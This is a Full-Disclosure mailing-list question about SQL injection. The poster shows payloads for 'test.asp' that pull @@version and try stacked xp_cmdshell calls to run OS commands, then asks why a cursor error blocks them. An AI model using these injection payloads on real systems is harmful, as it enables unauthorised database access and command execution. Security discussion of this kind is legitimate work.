[Full-disclosure] SQL Injection with cursors?



Hi,

I have another question, somehow related with my previous one.

I have an injection point, where I can do, for example

test.asp?param=blabla' and 1=(select @@version)--

and injections of the sort, and retrieve the information without problems.

Now, when I try to execute a stored procedure like

test.asp?param=blabla' exec master..xp_cmdshell 'dir'--

or

test.asp?param=blabla'; exec master..xp_cmdshell 'dir'--

I get the following error:

Microsoft OLE DB Provider for SQL Server error '80040e14'
sp_cursoropen/sp_cursorprepare: The statement parameter can only be a single
select or a single stored procedure.

Does anybody got an idea of why this is happening?

Best Regards,

Andy.

_________________________________________________________________
Dale rienda suelta a tu tiempo libre. Mil ideas para exprimir tu ocio con
MSN Entretenimiento. http://entretenimiento.msn.es/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/



Relevant Pages

  • [Full-disclosure] SQL Injection with cursors?
    ... I have an injection point, where I can do, for example ... and injections of the sort, and retrieve the information without problems. ... when I try to execute a stored procedure like ... Microsoft OLE DB Provider for SQL Server error '80040e14' ...
    (Full-Disclosure)
  • Re: Website Upload- Easy Reading Promotion of Numberless Cryptography - Adacrypt
    ... you can exploit the injection much more ... sort of. ... He'll be beging in view of flat Virginia until his ...
    (sci.crypt)
  • Re: SQL Injection Prevention
    ... If you write a bad SP it's possible to introduce injection vulnerabilities. ... I'm just saying that when it concerns to SQL injection, ... >> built stored procedure so it's obvious which will win. ...
    (microsoft.public.sqlserver.server)
  • Re: SQL Injection Prevention
    ... If you write a bad SP it's possible to introduce injection vulnerabilities. ... I'm just saying that when it concerns to SQL injection, ... >> built stored procedure so it's obvious which will win. ...
    (microsoft.public.dotnet.security)
  • Re: Statistical test
    ... different treatment each group also divided to 26 elements. ... The "level of injection" seems to be an outcome variable, ... which has been presented rather oddly as graphs of a sort. ... at the chisquared test for the 2x2 contingency table. ...
    (sci.stat.math)

Quantcast